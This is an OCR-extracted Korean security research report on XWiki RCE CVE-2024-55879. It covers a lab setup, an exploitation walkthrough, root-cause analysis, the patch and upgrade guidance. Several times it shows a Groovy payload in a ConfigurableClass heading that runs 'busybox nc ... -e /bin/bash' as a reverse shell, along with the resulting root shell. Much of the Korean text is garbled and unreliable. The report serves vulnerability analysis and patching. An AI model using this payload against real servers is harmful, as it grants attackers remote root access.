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Step 1. A 1M
O|siXt PC off F et TS| XWiki O|0|X|E MX[StCt. CVE-2024-55879 #F|2fd HIAE FMZ2 2ot
docker-compose.yml GAl= CtS1t ZLt.

services:

xwiki:
image: XWiki:15.10.5
container_name: xwiki
ports:
- "8080:8080"
environment:
- DB_USER=xwiki
- DB_PASSWORD=xwiki
- DB_DATABASE=xwiki
- DB_HOST=db
depends_on:
-db
networks:
- cve-2024-55879

db:
image: mariadb:10.6
container_name: xwiki-db
environment:
- MYSQL_ROOT_PASSWORD=root
- MYSQL_DATABASE=xwiki
- MYSQL_USER=xwiki
- MYSQL_PASSWORD=xwiki
networks:
- cve-2024-55879
ports:
-"3306:3306"
volumes:
xwiki-data:
db-data:

networks:
cve-2024-55879:
driver: bridge

=M=l docker-compose.ym| IHUS ASHSHT,

> docker-compose up -d

Ol Fefst THF|X[Q! org.xwiki.platform_xwiki-platform-administration-ui_15.10.5.xar £ A&X|3IC},
«URL: https://extensions.xwiki.org/xwiki/rest/repository/extensions/org.xwiki.platform%3Axwiki-
platform-administration-ui/versions/15.10.5/file?rid=maven-xwiki
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CH2E2 9l Ti7|XIE Ml > Administartion H2& [ Upload a new package £ &doi Y=ZE3HCt.

admin admin
& Log-out
Warning: The administration application is not installed. Since XWiki Enierprise 1.5, the Administration is distributed as an application. You ¢
http://extensions xwiki.org/xwiki/bin/view/Extension/Administration+Application

Home

Import

Administration

Upload a new package

| e(maEa)ememuzs |

Available packages

No package is available for import

XWiki 15.10.5

a3 3. Fofet mi7|Ix] x|

OIX|2e = Z|HARE 22t busybox & XWiki Al LHS0f| MX|oHCt,

> docker exec -it xwiki sh -c "apt update && apt install -y busybox"

Step 2. #|2H HAE
Atk AR HEE £F617| flo ZE|Xt7t ofl Ut ALK AES MAMStot

XWIKI

5% 1 XWiki / Global Administration

admin admin
L t
& Log-out

Home

Global Administration: Users

Manage users of this wiki: add, remove, modify their profile information.

Administer Wiki

Search for. Results 1- 1 outof 1 per page of (15 +
== Look & Feel User Fi Last Name
- Content
admin admin

Users & Rights

Results 1 - 1 out of 1

Create user
h .

Groups

Rights

(M|
nu

| 4. MEXt ¥
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Script Ht0| Q= AFRXIDE Qlo| HEH MG

— O

Z=Itetet.

& ooz, p2|xt AHo| Script & Egth Hote

XWIKI

£ ! XWiki / Global Administration

Global Administration: Rights

Manage groups and users rights: control who can view, edit and delete pages.

Search for... Results 1-2 out of 2

= Look & Feel () Groups (g Users

admin admin
& Log-out !

Home

& Administer Wiki

Comment Edit Script Delete

Unregistered Us:

=| Content g L] Ll Ll [l ]

rch filter:

| & Users & Rights

Users

admin admin (admin) J J J J J
Groups

L | | | L

Extension Rights J Prevent unregistered users from viewing pages, regardless of the page rights

J Prevent unregistered users from editing pages, regardless of the page rights

Registration

|| Require unregistered users to solve a CAPTCHA when posting a comment on a |

N
o=

a3 5. AZx A 9t

http://localhost:8080/bin/edit/xwiki/ <A

ALBXOIA| AME =7t 4= UL

St A

—_

2 X} >?editor=object

oz Fas uf iy

XWIKI

£y / XWiki / EQST

Editing objects of EQST
o New object:

XWiki #
| Objects of § '

= XWikiRig Custom configurable sections

O New XWikiRights object

12l 6. ConfigurableClass ZiA| 37}
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&4 o = %
display in seciton other
display in category other
#set($codeToExecute = 'Test) #set($codeToExecuteResult = '{{async}H{{groovy}} def
heading command = "busybox nc 172.19.0.4 8888 -e /bin/bash"; def proc = command.execute();

proc.waitFor() {{/groovy}H{{/async}}')

9l 44 2t & heading 20| 4 Ho|ZEZ SiCH

0|= http://localhost:8080/bin/view/xwiki/< Aot A2 XIH>?sheet=XWiki.AdminSheet&viewer=con
tent&section=other £ ™& A| 24El H0|2=7F MAEICH

XWIK]

& / XWiki { Administration

Administration SEd @ Creale

Last modified by admin admin on 2025/02/06 09:21

& / XWiki / Administration

Administration: Other

Various configurations for exiensions.

Search for.
sz Look & Feel
& Users & Rights

& Other

32 7. 9% Hol2E MY

ZAX MHe| 8888 ZEE Edlf XWiki AHO| €S ES¢iCt.

nc -1 -p 8888
id

uid=0(root) gid=0(root) groups=0(root)

uname -a

Linux 46e940ec1491 5.15.167.4-microsoft-standard-wSL2 #1 SMP Tue Nov 5 00:21:55 UT
C 2024 x86 64 x86 64 x86 64 GNU/Linux

a3 8. 3% Y ES
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Fo™ MM 2M0ME= CVE-2024-55879 F|bdo| Hist= Rlz(et o] HE A FotH
AHOZ MHSICL Step 1 MIM= XWiki 2 Administrator Application 7|52t C|0JE M%& ot
=x

T

HolH Step 20|M= ==& CIO[EHE o8l ol HE A& FoFHo| Adst= HFS dm=Ct

mo mio

Step 1. Administrator Application

1) XWiki ConfigurableClass

XWiki Enterprise 1.5 £E XWiki QIAHAE 2|SH= Adminstration Application 2 EE=E MX[SHO}
SiCt SiiE 7152 MX|IE 2IoiA Ofzf A39| xar MYUS CHRELE B2 |, XWiki HO|X| LHOIA Import
ot

«URL: https://extensions.xwiki.org/XWiki/rest/repository/extensions/org.xwiki.platform% 3 Axwiki-

platform-administration-ui/versions/<XWiki_version>/file?rid=maven-xwiki

< C  © localhost:8080/bin/import/XWiki/XWikiPreferences a o} IS ®
I
.x_Wl Kl EQST tester o
& Log-out .

Warning: The administration application is not installed. Since XWiki Enterprise 1.5, the Administratic

can download it from http://fextensions. xwiki.org/xwiki/bin/view/Extension/Administration+Application.
Home

Import

Administration

Upload a new package

Available packages

No package is available for import

XWiki 15.10.5

Jgl 9. Administration Application I Import

EQST insight | 7


https://extensions.xwiki.org/XWiki/rest/repository/extensions/org.xwiki.platform%3Axwiki-platform-administration-ui/versions/%3cXWiki_version%3e/file?rid=maven-xwiki
https://extensions.xwiki.org/XWiki/rest/repository/extensions/org.xwiki.platform%3Axwiki-platform-administration-ui/versions/%3cXWiki_version%3e/file?rid=maven-xwiki

-

XWiki 2| Administration Application Extension 2| 7|S0ll= ConfigurableClass 7|s0| UC s
Jle2 g AT #M5k= il H™E 717l SHAE TS0 2F ANo| CHet M2 Hojgd £+ ULk

2l ™2 /bin/edit/XWiki/EQSTTester?editor=object ZAZ0| FZet T, AHX™OA Custom
Configurable sections £ F7lsHA| Adlig 4= QUC},

€« C  © |localhost:8080/bin/edit/XWiki/EQSTTester?editor=object | a % X ®

XWIKI

£ / XWiki / Profile of EQST tester

[

o Edit ~ @ Create v

Editing objects of ProfiIeJ'of EQST tester

o New objecr:| Custom configurable sections v |

= Objects of type XWiki.ConfigurableClass (1)
= ConfigurableClass 0: other R

10. ConfigurableClass &%

ST A S FIRIRIN HOIE 4 U= FR &4 S offet 2k,

b

displaylnSection OfE2|AH0|ME MMst=r| AtET a2 MMg XX
heading configurableClass ZiX|Q| ®M=EC=2 MAEY gt
codeToExecute Al 0|20l EAISHD 42 Velocity AJEE

displayinCategory ofZz/Alo|Mg HFst=0 A8Y 22| FHEH12|E X

| HH 22 db ol MEEH, 0]= XWikiobjects E[0|20]| MZ=l ConfigurableClass & Z3|siA] =0l

o

7+s3tct.
MariaDB [xwiki]=[ SELECT * FROM xwikiobjects WHERE XWO_CLASSNAME = 'WWiki.ConfigurableClass ; |
R Femmmemmmon e . BT e T B et +
| XWO_ID | XWO_NUMBER | XWO_NAME | XWO_CLASSNAME | XWO_GUID |
R et R B T T Fommmmmmm e B et +
| -6115720284412556138 | 0 | XWiki.AdminImportSheet | XWiki.ConfigurableClass | c5cba27a-cSbd-410d-acdd-7307b8a123875 |
| -4366992258454243115 | 0 | XWiki.AdminLocalizationSheet] | ¥Wiki.ConfigurableClass | 80138673-f445-4507-99b1-5e5521%cc3ed |
| -3757042457310503563 | 0 | XWiki.AdminExportSheet | ®Wiki.ConfigurableClass | 1lebbbfae-bf3d-4675-8aa@-8c33305652ae |
| -857457455774161214 | 0 | XWiki.AdminExtensionRightsShegt | XWiki.ConfigurableClass | bad3afe@-4a01-48b8-584ca-2111b758d215 |
| 722116165808455315 | 0 | XWiki.RegistrationCenfig | XWiki.ConfigurableClass | d@45822c-8279-4176-a382-17153512808d |
| 2851455082505687224 0 | XWiki.AdminEditingSheet HWiki.ConfigurableClass | fd5581e8-9db@-4da8-b499-52b61843d476 |
| |4529?419300?9051002 O | XWiki.EQSTTester ¥Wiki.ConfigurableClass | 18607807-f%e4-4f2e-8187-31cdde8csazf [l
| 5435153117275208932 8 | X¥Wiki.AdminTemplatesSheet XWiki.ConfigurableClass | b@3bf517-5cff-4873-3899-7f87e8820aaa |
docceccciiiioioons focccoooooooo fococcceiecieciiiiieieiee e $occccecciiiieieion s docccccecieciceieiieee e +

33 11. XWikiobjects | MEE ConfigurableClass &&
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QoM  Z=3|$t ConfigurableClass 2| XWO_ID Zf8 &83 XWikistrings EHIO|ES ZX3|5IH
ConfigurableClass 2| String @2 XNZE=l MM M 20l0| J7Hs3iCt.
MariaDB [xw"Lki]::-ISELECT * FROM xwikistrings WHERE )(I.-.'S_ID=-’\l529'|"-’\l:l9300?9051002;LA
XWS_ID | XWS_MNAME | XWS_VALUE [
--------------------- B e e e RS
4525741930075051002 | categoryIcon |
4525741930075051002 | configurationClass |
4525741930075051002 | displayvBeforeCategory |
4525741930075051002 | displavInCategory | other
4525741930075051002 | displavInSection | other
4525741930075051002 | heading | EQST Tester EQST Tester EQST Tester EQST Tester EQST Tester EQST Tester EQST Tester
4529741930075051002 | iconAttachment | |
4529741530075051002 | linkPrefix | |
4529741930075051002 | scope | WIKI+ALL_SPACES |
--------------------- B S

13l 12. XWikiobjects L XZEl ConfigurableClass Al HH&

2) Administrator Application &A| £

ol =2{2 Administrator Application extension 2| AMM| FX@} extension Li It EMZ Edf
Administrator Application 2| 7|58 &lgt 4 QlCt
(1) XAR I
XWiki OlM= xar SEXAE 717 2% OUS Sl 24 EME Import StAHLE Export BTt sHE Do
X of2fel ZCt.
@ extension-name.xar
I— % package.xml
I— - Space/NestedSpace/
L (D
—| Documentl.xml
L (2D
—| Document2.xml
3% 13.xar O X
package.xml Ol= xar OHU0| CHSE HHO| ZBt:[0 UM FA 0|F, EAof| CHet MY, =HEXt S92
MeEE ZoE[of QICh ZH 2M(Documentl.xml, Document2.xml)= AZE XS JHX|H YEHOZ AHE
X0 S E0 MM = 0|E XAt s EAMolE HE dE, 0|F, ZMXt Hxg of g8d

HAmola, =22 LHE S0| ZElct
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(2) ConfigurableClass.xml

Administrator Application Extension 0] ConfigurableClass 2| &%2 ConfigurableClass.xml O|Af
CIELL SiE A9 E22 FZ Velocity HIZ3I0Z PME0] QICt Velocity = ZICHsH EHIZS] A0S
AtES ZEO| HolE HMHE XY > /U= J|s2 71Xl Java 7|8t Template QAZXIOICEH 7|[2XMo=

Velocity HIZSI0A AESH= /2 Of2iet ZLCt.

HJ

TEX a4 ofiA|
#set(...) Axeh e M #set( $primate = “monkey” )

#if(...) #if ($foo == $bar)

Equal

#else THES LIEHHE 22Xt #else

Not equal
#end #end
#foreach( ...) #foreach( #product in $allProducts )

HHEDS | |[EHLS EX} <li>$product</li>

#end #end

#macro( tablerows $color $somelist )

#foreach( $something in $somelist )
#macro( $arg1, $arg2)

3z, <tr><td
HEE= B8 Fodts 2%t bgcolor=$color>$something</td></tr>
#end send
en
#end

ConfigurableClass.xml 9| LHEE ConfigurableClass M&ES C|O|EH|O|AZEE Z3|otn XNESH=
=222l findNamesOfAppsToConfigure 2 Adlst= ZHAOZ A[ZBICY

## Searches the database for names of apps to be configured

#set(foutputlist = [])
|#FindNamesOprpsToCDnFigure($section, $globaladmin, $xwiki.getDocument($currentDoc).getSpace(), $0utputListﬂ

##

332l 14. findNamesOfAppsToConfigure 0132

siet O3 20]| Ci$t HMol= ConfigurableClassMacros.xml O e 229 Velocity HESIOZ HASIC]
o{7|0l= HQL(Hibernate Query Language)' #Z|ES Holstn A= ut™0| HOlF|0 O, Hiet
ZIE $outputlist 0 MESH= A2 SICf ESH HAZ Hh= $section 2 AFRXIZF 2t section
ni2tolef groll siEhstn, $XWiki.getDocument($currentDoc).getSpace()= &z 2AM 0|EE H|2lst
AZ LXZE dtetotrt,

[y

' HQL(Hibernate Query Language): SQL 2t 2I2t2 H|XSHt 24| X[&&0|H A% CiEY, ZaiA 2to] 2AIE oY £ U= Hibernate 0l A

AMEsts 2| 210
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Hel2e M¥sts TEL ofefer Zom, WX 2AMIM MBI Y

St section M2HOIE{ZL 1) XWiki
ConfigurationClass O|A| 223t displayinSection EEL2} UX[SH=

2 ConfigurableClass ZziAS
Eel oty

## We can't remove duplicates using the unique filter because the select clause will
be extended with the information

## needed by the order by clause
results.
#set (SorderedSetOfAppNames = $cellectionteool.orderedSet)

#set ($discard = $orderedSetOfippHames.addall({fservices.query.hgl{$statement).
bindvalues($params).execute()))

#set ($discard = $orderedSetOfAppiames.addalli$services.query.hgl
($statementDeprecated) .bindValues($deprecatedParams).execute()))

. Thus we remove the duplicates after we get the

a2l 15. HQL HE2s M

9 Hz| ¥ 2= SoutputList H40 HESHCL,
I #set ($discard =

$outputL15t.addﬂll($GrderedSetGFAppNames)}|

3% 16.HAL #2 =& &d = M
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Step2. XWiki RCE #2/8 (CVE-2024-55789)

1) heading I}2}0|E =X

#set($outputlist = [])
#findNamesOfAppsToConfigure($section, $globaladmin, $xwiki.getDocument($currentDoc).getSpace(), $outputlList) |

#H#

|#'For'each($appName in $output List)lo
##
## Make sure the current user has permission to edit the configurable application.
#set($userHasAccessToDocument = $xcontext.hasAccesslLevel('edit', $appName))
##
## If the document was not last saved by a user with edit privilege on this page
## then we can't safely display the page but we should warn the viewer.
#if($userHasAccessToDocument)

## Get the configurable application o
|#set($app = $xwiki.getDocument($appName) )T
##

#set($documentSavedByAuthorizedUser = false)
#checkDocumentSavedByAuthorizedUser($app, $currentDoc, $documentSavedByAuthorizedUser)

#end
(4

|#set($heading = $app.getValue('heading', $configurableObj)) |

17. heading Il2i0[E HZ I}

@ findNamesOfAppsToConfigure gf+E E3lf $outputList HHE ZtE FESICL

@ S$outputList HIE H|O|EHE $appName H==0 X|HTtCY.

A $XWiki.getDocument($appName)E | $app HHE =S 4 ULCL.

@ heading It2t0|E{= $app.getValue(*heading', $configurableObj)Z Zf0| MEEICE.

heading IOf2t0[E{Z MEE HO|ZE= of2io| HHAIE S CIHZ ZEE 718l M=o x| 2ty

mufn
fjo

stolgh o~ ULt

@ F[eFst Tl org. XWiki.platform_XWiki-platform-administration-ui_<t7X>.xar CI2ZE=

Q CI2 22 MAUS zip OF XA} HE = 4= offx|

@ XWiki > ConfigurableClass.xml It & #set($evaluatedHeading = "#evaluate($heading)") 22!
of

AT 2 Of2f T FE 7t

== Debug Before ==

Heading: **$services.rendering.escape($heading, 'XWiki/2.1')**

CodeToExecute Before: **$services.rendering.escape($configurableObj.display(‘codeToExecute', 'view', false),
XWikif2.1")**

CodeToExecuteResult Before: **$services.rendering.escape($configurableObj.display(‘'code ToExecuteResult', 'view',
false), XWiki/2.1')**

## Original Code
#set($evaluatedHeading = "#evaluate($heading)")

= Debug After ==
Evaluated Heading: **$services.rendering.escape($evaluatedHeading, 'XWiki/2.1')**
CodeToExecute After: **$services.rendering.escape($codeToExecute, XWiki/2.1')**
CodeToExecuteResult After: **$services.rendering.escape($codeToExecuteResult, 'XWiki/2.1)**

@ I MZE Z CiA| &% 5 SEXIE (xanZ2 fa=ss
6 xarItYE XWiki & HO|X| > Administar Wiki > content > import £ E¢f Y2 = Mx|
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O|= heading L2t0|E{2] X (IS Of2Het 20| 2ol 4= ACH.

Debug Before

Heading: #set($codeToExecute = 'Test') #set{ScodeToExecuteResult = '{{async}}{{groovy}} def command = "busybox nc 172.19.0.4 8888 -e /bin/bash";
def proc = command.execute(); proc.waitFor() {{{groovy}}{{/lasync}}’)

CodeToExecute Before:

CodeToExecuteResult Before:

Debug After

Evaluated Heading:

CodeToExecute After: Test

CodeToExecuteResult After: {{async}}{{groovy}} def command = "busybox nc 172.19.0.4 8888 -e /bin/bash"; def proc = command.execute();
proc.waitFor() {{lgroovy}i{{lasync}}

13 18. heading HIO|2E ™ = Hx 3t

2) XWiki scripting 2t &4 St 2pH

Java Scripting APl (JSR-223, & API)= Java OiE2|H0[M0A CIE A3ZE A st
AT E X|st= 7|50|Ct O|= JSR 223(Java Specification Request 223) EZS 7|HtOZ sHH, Al
E SHOR IAEE HUSIHLE Java 2F ATEE 0 7t HO[HE wete = JUTE ot XWiki O A
Java Scripting API £ 3l Groovy, Python, Ruby, PHP A3ZIEE Macro 2 2istn QYo
{AIZE o] SB)) HAoB L SEA AHR0| JHsBICt

ru:

=

HU i

OF
2o o2 >

3AXH= EQST |4 2iH|of| ConfigurableClass £ 78t F, heading #H<=0f Ofziet &2 HO|ZEE
AlO
[=]

Editing obJects of EQST sEM | @cmae
o New object:| Custom configurable sections v

| Objects of type XWiki.ConfigurableClass (1)
= ConfigurableClass 0- S

Display in section

other

Heading

#set(ScodeToExecute = 'Test') #set(ScodeToExecuteResult = "{fasync}i{{groovy}} def command = "busybox nc 172.19.0.4 8888 -e /bin/bash"; def proc = command.execute(), proc.waitFor() {{/groovyiH{{/async}})

19. heading HIO|2E X%

olmf AFRElI HO|2EL CtEnt 2T},

#set($codeToExecute = 'Test')
#set($codeToExecuteResult = '{{async}H{groovy}} def command = "busybox nc 172.19.0.4 8888 -e
/bin/bash"; def proc = command.execute(); proc.waitFor() {{/groovy}}{{/async}}')

i Ho|Z2EE 242t & HAE MTOstn codeToExecuteResult H40|= groovy ATZEES A2

22 Y MYAF|E IES EaotD UL

rr
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<XWiki_domain>/bin/view/XWiki/EQST?sheet=XWiki.AdminSheet&viewer=content&section=other
2 ™2 Al F7IE ConfigurableClass K| LiR2| Velocity ZE7F AAMEICE OO FIbgh C|HZ
FEE Edl heading HE-E Qlot Ha THHO| ZIE =olet £ ULt
HKWIKI

€3 / XWiKi | Administration

Administration PEi | ©Create

Last madified by admin admin on 2025/02/06 09:21

£ 1 XWiki | Administration

Administration: Other

Various configurations for extensions

Search for Debug Before
sz Look & Feel Heading ="Test) ='{{asy y}} def = "busybox nc 172.19.0.4 8888 -e /bin/bash";
def proc = command.execute(); proc.waitFor() {{/groovyJ}{{iasync}})
& Users & Rights CodeToExecute Before:
CodeToExecuteResult Before:
# Other
Debug After

Evaluated Heading

CodeToExecute After: Test
CodeToExecuteResult After. {{asyne}}{{groovy}} def command = "busybox n¢ 172.19.0.4 8888 -2 /bin/bash"; def proc = command.execute();
proc.waitFor() {{/groovy}}{{/async}}

12l 20. heading H|0|2E X%

olmf Mt{ LHEO|ME heading Ha7t AdE|T 242 $codeToExecute, $codeToExecuteResult &
HE THEOSHA EIC.

== Debug Before ==

Heading: **$services.rendering.escape($heading, 'xwiki/2.1")**

CodeToExecute Before: **$services.rendering.escape($configurableObj.display('codeToExecute', 'view',
false), 'xwiki/2.1")**

CodeToExecuteResult Before: **$services.rendering.escape($configurableObj.display
('codeToExecuteResult', 'view', false), 'xwiki/2.1')**

| #set($evaluatedHeading = "#evaluate($heading)”)|

== Debug After ==

Evaluated Heading: **$services.rendering.escape($evaluatedHeading, 'xwiki/2.1')**
CodeToExecute After: **$services.rendering.escape($codeToExecute, 'xwiki/2.1')**
CodeToExecuteResult After: **$services.rendering.escape($codeToExecuteResult, 'xwiki/2.1")**

12l 21. heading H4: A8 IC

IH&ol=l $codeToExecuteResult 2 LHE HO|ZE= {{velocity}} AIZIE SZEb IPEO|A CIA| $HH
{{async}},{{groovy}} ATBEE TESICL 0| Sl M LHRO|N ZHXIIE heading & Solf TEst
HO|Z2EE AAsHA EICt.

#if($codeToExecute I= "")

(%class="codeToExecute"%) ( ( (##
$codeToExecuteResult

)))

#end

12l 22, CodeToExecuteResult

i3
.
0.
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AIHE| HO|2EZ2 E8 ZAK= MBOA CH7|SOI 8888 TEES E3f MIZEMOZ XWiki Ao ds

nc -1 -p 8888
id

uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 46e940ec1491 5.15.167.4-microsoft-standard-wWSL2 #1 SMP Tue Nov 5 00:21:55 UT

C 2024 x86_64 x86_64 x86_64 GNU/Linux
a3 23. 3HX PC 2|H2AY AA o

O
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SHE FIAHE2 XWikiQ| Velocity RIES! LHFON H3=[= groovy ZEZ QI8 SHXIS| 4o[&Ql FET}
Al LA AlfE|of grafsict sfEt 222 2023 H 8 2 4 Y 2AHE T 2024 H 4 8 26 &
IHX| =R, AATE HA L2 ofzol|l M 2l 7HSSICE

- URL:https://github.com/XWiki/XWikiplatform/commit/8493435ff9606905a2d913607d6c79862

d0c168d?diff=unified#diffbf419a99140f3¢c12fd78ea30f855b63cfb74c1c976ff4436898266d9b3

7ad3ce

FloFst HE A2 o= XWiki > Administrator Wiki > Content > Import > org.XWiki.platform_xwiki-
platform-administration-ui_<HZ_ME > xar £ Sdfj &Qlg 4= QICt

XWIKI
) admin admin

& Log-out

{3 / XWiki ! Global Administration

Global Administration: Import -

Import pages or applications into the wiki

| 4 Aaminister Wiki

Begin by uploading a new package or by selecting one from the I able packages. The content of the selected pac

Search for... with the import options.
5 Look & Feel
Package Content
=| Content -
[weaa]a=s PACKAGE  org.xwiki.platforn
Page Templales ULIOT0asEr
Available packages DESCRIPTION XWiki Platfor
\ ocalization 4 VERSION 15.105
e, @ org xwiki platform_xwiki-platform-admini~ xar 11 % AUTHOR  XWiki.Admin
Added by admin admin on 2025/02/04 08:10 - (357.4 KB)
! XWiki
Export AccountValid
1 AdminEditing
g% Users & Rights AdminExport;
1 AdminExtens
#* Other AdminFieldsl
1 AdminGroups
iting v minimport!
& Edit ¥ Adminimport!
- AdminLocaliz

182l 24. #2|Xt Ho]X] > Extension 0l

st A

of =tolst , ConfigurableClass.xml I} codeToExecute #Ha X2| 2HHO|
HZAZ|O] o HY Mo AF2El codeToExecuteResult H4-E O 0|4 ALK 4SS & 4 QUL

#set ($codeToExecute = "%!app.getValue( 'codeToExecute', $configurablelbi)™)
#if(%codeToExecute != ')
#set({$codeToExecuteResult = $configurableObj.display (' codeToExecute', 'wview', false)})

#set ($codeToExecute = "$!app.getValue( ' codeToExecute', $configurableObj)™)

12l 25, codeToExecute ¥4 X2| $8 Apet
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https://github.com/XWiki/XWikiplatform/commit/8493435ff9606905a2d913607d6c79862d0c168d?diff=unified#diffbf419a99140f3c12fd78ea30f855b63cfb74c1c976ff4436898266d9b37ad3ce
https://github.com/XWiki/XWikiplatform/commit/8493435ff9606905a2d913607d6c79862d0c168d?diff=unified#diffbf419a99140f3c12fd78ea30f855b63cfb74c1c976ff4436898266d9b37ad3ce
https://github.com/XWiki/XWikiplatform/commit/8493435ff9606905a2d913607d6c79862d0c168d?diff=unified#diffbf419a99140f3c12fd78ea30f855b63cfb74c1c976ff4436898266d9b37ad3ce

CEoE B4~ codeToExecutResult 7t AU FAYH 7212 Of2fet 20| AFRE {27} ol e

-
EAER EFl I= H™E LRJCL

%class="codeToExecute"%) ( ( (##

fcodeToExecuteResult

$configurableObj.display( ' codeToExecute', 'view', false)

12l 26. codeToExecutResult £ Apgt

Flekst Tl XWiki £ <=15.10.9, <=16.3.0 HHEOZ m{x| ZAS L&Msfjof $ICt T IHX| HE Hof|
2E &2 HO|H= HHEA| st Flof| 34 Z2ME e Zidsior otct ot BiZ 2HAOICH ¥a20|=
2EHO| &o[eho]| Ro[sHOF oiCt. IHX|E SH= 2ok of2iet ZCt.
o= £tH OHX] st

I§7|x] gazjjo|= sudo apt install xwiki-tomcat9-mariadb 4!

Docker &2130|= Y35 Axsio] 00X HE U 2= LEQ| XA Y

WAR giTzjo|= 7|Z WAR AH| = A HAE C}RE2E S HYX = Distribution Wizard &8

o= mj7|x] Y¥azol= M HES "2 MX[o 2, 43 oy ClAEZE 502 HY

A HiX|= ofz A3E HOsHM 3 £ UACH

+URL: https://www.xwiki.org/xwiki/bin/view/Documentation/AdminGuide/Upgrade/
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H 10 AO|E

« XWiki (About XWiki) : https://www.xwiki.org/xwiki/bin/view/Main/

« XWiki (Administration Application) :
https://extensions.xwiki.org/xwiki/bin/view/Extension/Administration%20Application

« XWiki (XWiki Velocity Training) :
https://www.xwiki.org/xwiki/bin/view/Documentation/DevGuide/Scripting/XWikiVelocity Training/
« XWiki (Script Macro) : https://extensions.xwiki.org/xwiki/bin/view/Extension/Script%20Macro

« XWiki (Release Notes, 14.7RC1) :
https://www.xwiki.org/xwiki/bin/view/ReleaseNotes/Data/XWiki/14.7RC1/Entry001/

« XWiki (XWikiSyntax) :
https://www.xwiki.org/xwiki/bin/view/Documentation/UserGuide/Features/XWikiSyntax/

- EQST Insight Special Report (SSTI) :
https://www.skshieldus.com/download/files/download.do?0_fname=EQST %20insight_Research%20Techniq
ue_%EB%B3%84%EC%B1%85_202403.pdf&r_fname=20240327134650045.pdf

« XWiki (XWikiDocument XML) :
https://extensions.xwiki.org/xwiki/bin/view/Extension/XAR%20Module%20Specifications

« XWiki (Upgrading) : https://www.xwiki.org/xwiki/bin/view/Documentation/AdminGuide/Upgrade/
- Hibernate Documentation (The Hibernate Query Language):
https://docs.jboss.org/hibernate/orm/3.3/reference/en-US/html/queryhgl.html

- CVE-2024-55879: https://github.com/xwiki/xwiki-
platform/commit/8493435ff9606905a2d913607d6¢c79862d0c168d
https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-r279-47wg-chpr
https://jira.xwiki.org/browse/XWIKI-21207
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